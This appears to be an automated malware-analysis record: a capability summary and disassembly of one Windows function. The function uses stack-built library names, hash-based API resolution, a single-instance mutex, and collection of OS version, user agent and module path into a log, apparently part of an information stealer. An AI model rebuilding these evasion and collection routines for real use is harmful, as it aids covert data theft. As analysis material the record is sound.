Function at 0x402282
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Reference http user-agent string
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
push esi
push edi
push 0xda3
push 0x4084d4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
test eax, eax
jne 0x4022a6
jmp 0x40270d
push 0x408046
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x402705
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402705
push 0x65
pop edx
lea ecx, [ebp - 0x28]
call fcn.00403c5f
cmp dword [ebp - 0x24], 0
je 0x4026dc
push 0x11c
xor edx, edx
lea ecx, [ebp - 0x164]
call fcn.00403603
pop ecx
mov dword [ebp - 0x164], 0x11c
lea ecx, [ebp - 0x164]
call fcn.00404871
test eax, eax
jl 0x4026d4
push dword [ebp - 0x158]
push dword [ebp - 0x15c]
push dword [ebp - 0x160]
push str.__OperationSystem:__d:_d:_d_r_n
push 0
call fcn.00403668
add esp, 0x14
sub esp, 0x11c
push 0x47
pop ecx
lea esi, [ebp - 0x164]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.004048d6
add esp, 0x11c
movzx eax, al
cmp eax, 1
jne 0x4026d4
mov ecx, 0x208
call fcn.00403595
mov dword [0x4084ec], eax
mov ecx, 0x208
call fcn.00403595
mov dword [0x4084cc], eax
mov ecx, 0x208
call fcn.00403595
mov dword [0x4084f4], eax
cmp dword [0x4084ec], 0
je 0x40266c
cmp dword [0x4084cc], 0
je 0x40266c
cmp dword [0x4084f4], 0
je 0x40266c
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x33
mov byte [ebp - 0xa], 0x32
mov byte [ebp - 9], 0
mov dword [ebp - 0x38], 0xc7652b3f
and dword [ebp - 0x34], 0
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x10]
call fcn.0040475f
movzx eax, al
cmp eax, 1
jne 0x40266c
call fcn.00401fba
push 4
pop eax
imul eax, eax, 0
cmp dword [eax + 0x408034], 0x81f39c19
jne 0x40244e
mov byte [ebp - 0x1c], 0x6b
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x33
mov byte [ebp - 0x15], 0x32
mov byte [ebp - 0x14], 0
mov edx, 0x408034
lea ecx, [ebp - 0x1c]
call fcn.0040475f
movzx eax, al
cmp eax, 2
je 0x40244e
jmp 0x40270d
push dword [0x4084cc]
push 0
push 0
push 0x1c
push 0
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x38]
test eax, eax
jge 0x402472
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x4084cc]
call fcn.004036c8
mov word [0x4084d0], ax
push dword [0x4084f4]
push 0
push 0
push 0
push 0
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x38]
test eax, eax
jge 0x4024a7
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x4084f4]
call fcn.004036c8
mov word [0x4084f8], ax
push dword [0x4084ec]
push 0
push 0
push 0x1a
push 0
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x38]
test eax, eax
jge 0x4024dc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x4084ec]
call fcn.004036c8
mov word [0x4084f0], ax
lea ecx, [ebp - 0x28]
call fcn.00404c2d
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 0x40522a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x40], eax
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push fcn.00401dc9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x3c], eax
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x40]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
lea ecx, [ebp - 0x28]
call fcn.00401a6c
call fcn.004020e1
mov byte [ebp - 1], 0
jmp 0x402554
mov al, byte [ebp - 1]
add al, 1
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
cmp eax, 2
jae 0x40258e
movzx eax, byte [ebp - 1]
cmp dword [ebp + eax*4 - 0x40], 0xffffffff
je 0x40258c
push 2
pop eax
shl eax, 0
movzx eax, word [eax + 0x4084c0]
mov ecx, dword [0x4080b4]
mov dword [ecx + 1], eax
movzx eax, byte [ebp - 1]
push dword [ebp + eax*4 - 0x40]
call dword [0x4080b4]
jmp 0x40254c
mov dword [ebp - 0x44], 0x200
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x364]
push eax
push 0
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
test eax, eax
jl 0x4025c2
lea eax, [ebp - 0x364]
push eax
push str.__UserAgent:__s_r_n
push 0
call fcn.00403668
add esp, 0xc
mov dx, 2
mov ecx, 0x4084fc
call fcn.004052c4
mov dx, 1
mov ecx, 0x4084ca
call fcn.004052c4
mov byte [ebp - 2], 0x40
mov dx, 1
lea ecx, [ebp - 2]
call fcn.004052c4
movzx dx, byte [ebp - 2]
mov ecx, str.Browser
call fcn.004052c4
mov byte [ebp - 3], 0x24
mov dx, 1
lea ecx, [ebp - 3]
call fcn.004052c4
movzx dx, byte [ebp - 3]
mov ecx, 0x408046
call fcn.004052c4
mov ecx, 0x208
call fcn.00403595
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40263f
push 0x208
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 8]
call fcn.004036c8
shl eax, 1
mov word [ebp - 0x2c], ax
mov dx, 2
lea ecx, [ebp - 0x2c]
call fcn.004052c4
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 8]
call fcn.004052c4
mov ecx, dword [ebp - 8]
call fcn.004035c3
push dword [0x408504]
push dword [0x408500]
mov edx, str._d.log
lea ecx, [ebp - 0x28]
call fcn.00403e03
pop ecx
pop ecx
mov ecx, dword [0x408500]
call fcn.004035c3
mov ecx, dword [0x4084f4]
call fcn.004035c3
mov ecx, dword [0x4084cc]
call fcn.004035c3
mov ecx, dword [0x4084ec]
call fcn.004035c3
lea ecx, [ebp - 0x28]
call fcn.00403c88
mov dword [ebp - 0x48], eax
push dword [ebp - 0x48]
push dword [ebp - 0x24]
call fcn.004053f8
pop ecx
pop ecx
movzx eax, al
test eax, eax
jne 0x4026d4
jmp 0x4026be
mov ecx, dword [ebp - 0x24]
call fcn.004035c3
push 0x4084d4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 2
pop eax
shl eax, 1
movzx eax, word [eax + 0x4084c0]
mov ecx, dword [0x4080b4]
mov dword [ecx + 1], eax
push dword [ebp - 0x30]
call dword [0x4080b4]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov esp, ebp
pop ebp
ret